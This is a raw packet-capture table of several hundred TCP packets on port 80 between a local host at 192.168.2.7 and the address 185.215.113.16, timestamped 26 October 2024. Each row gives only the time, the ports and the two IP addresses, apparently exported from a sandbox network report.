Oct 26, 2024 08:53:56.462882042 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.464832067 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.464893103 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.464966059 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.492702961 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.492774010 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.492811918 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.492846012 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.492849112 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.492882013 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.492916107 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.492930889 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.492930889 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.492930889 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.492952108 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.492985010 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.492995024 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.493022919 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.493029118 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.493451118 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.493607044 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.493638039 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.493660927 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.493680000 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.493716002 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.493757010 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.493767977 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.493804932 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.493808031 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.493844986 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.493870974 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.493880033 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.493887901 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.493916988 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.493923903 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.493959904 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.504693031 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.504767895 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.504802942 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.504827976 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.504841089 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.504867077 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.536228895 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.536264896 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.536348104 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.536700964 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.536741018 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.536748886 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.536777973 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.580276966 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.580298901 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.580316067 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.580363035 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.580409050 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.607767105 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.607786894 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.607812881 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.607825994 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.607837915 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.607878923 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.607909918 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.607954025 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.607959032 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.607975960 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.607992887 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.607995987 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.608009100 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.608011007 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.608031034 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.608042955 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.608640909 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.608690977 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.608706951 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.608712912 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.608724117 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.608735085 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.608745098 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.608747005 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.608767033 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.608784914 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.609302044 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.609318018 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.609333038 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.609349012 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.609353065 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.609365940 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.609371901 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.609400034 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.609421015 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.621974945 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.622025967 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.622041941 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.622057915 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.622075081 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.622081995 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.622117043 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.693056107 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.693109035 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.693146944 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.693219900 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.693278074 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.698904037 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.698936939 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.698975086 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.699007988 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.699012041 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.699063063 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.722884893 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.722923040 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.722959995 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.722995996 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.723016024 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.723038912 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.723072052 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.723088980 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.723191977 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.723227024 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.723241091 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.723263025 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.723269939 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.723300934 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.723306894 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.723365068 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.723680019 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.723716021 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.723725080 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.723752975 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.723757982 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.723792076 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.724003077 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.724037886 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.724056005 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.724076033 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.724077940 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.724112988 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.724121094 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.724158049 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.724447966 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.724482059 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.724518061 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.724549055 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.724567890 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.724591970 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.739459038 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.739515066 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.739550114 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.739582062 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.739593983 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.739618063 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.739618063 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.739653111 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.739659071 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.739689112 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.739722967 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.739762068 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.808068037 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.808124065 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.808151960 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.808156013 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.808182955 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.808196068 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.808212996 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.808532000 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.816524029 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.816591978 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.816598892 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.816636086 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.816961050 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.838041067 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.838099003 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.838124037 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.838167906 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.838176012 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.838231087 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.838232040 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.838282108 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.838325977 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.838330030 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.838360071 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.838368893 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.838402033 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.838401079 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.838444948 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.838812113 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.838845968 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.838852882 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.838881969 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.838884115 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.838927031 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.839128971 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.839179993 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.839215994 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.839226961 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.839250088 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.839253902 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.839287043 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.839329958 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.839340925 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.839379072 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.850704908 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.850759983 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.850804090 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.856754065 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.856789112 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.856823921 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.856837034 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.856875896 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.856909990 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.856952906 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.856961012 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.856997967 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.857037067 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.857057095 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.857091904 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.857094049 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.880867004 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.880980015 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.881007910 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.881047964 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.923394918 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.923512936 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.923552036 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.923593998 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.923683882 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.933955908 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.933978081 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.933995962 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.934012890 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.934020996 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.934062004 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.953583002 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.953634024 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.953639030 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.953679085 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.953689098 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.953720093 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.953739882 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.953819036 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.953855038 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.953870058 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.953891039 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.953927994 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.953969955 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.954009056 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.954237938 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.954277039 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.954301119 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.954314947 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.954324961 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.954363108 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.954571009 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.954606056 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.954632998 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.954643011 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.954651117 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.954680920 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.954689026 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.954726934 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.954907894 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.954960108 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.955110073 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.955146074 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.955159903 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.955183029 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.955193043 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.955297947 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.974365950 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.974401951 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.974436998 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.974452972 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.974481106 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.974503994 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.974513054 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.974529982 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.974555016 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.974600077 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.974601984 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.974627018 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.974636078 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.974652052 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.974675894 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:56.974678993 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.974745989 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:56.974828005 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:57.037029028 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:57.037081003 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:57.037096024 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:57.037112951 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:57.037111044 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:57.037156105 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:57.037156105 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:57.038624048 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:57.038640022 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:57.038655996 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:57.038681030 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:57.038696051 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:57.038785934 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:57.038902998 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:57.051640034 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:57.051661015 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:57.051680088 CEST	80	49759	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:57.051692963 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:57.051726103 CEST	49759	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:57.068835974 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:57.068913937 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:57.068938971 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:57.068958044 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:57.068974018 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:57.068983078 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:57.068991899 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:57.068998098 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:57.069010019 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:57.069015980 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:57.069027901 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:57.069032907 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:57.069047928 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:57.069070101 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:57.069252968 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:57.069297075 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:57.069437027 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:57.069454908 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:57.069470882 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:57.069493055 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:57.069530010 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:57.069732904 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:57.069777012 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:57.069921970 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:57.069937944 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:57.069955111 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:57.069963932 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:57.069972992 CEST	80	49981	185.215.113.16	192.168.2.7
Oct 26, 2024 08:53:57.069988012 CEST	49981	80	192.168.2.7	185.215.113.16
Oct 26, 2024 08:53:57.069996119 CEST	49981	80	192.168.2.7	185.215.113.16
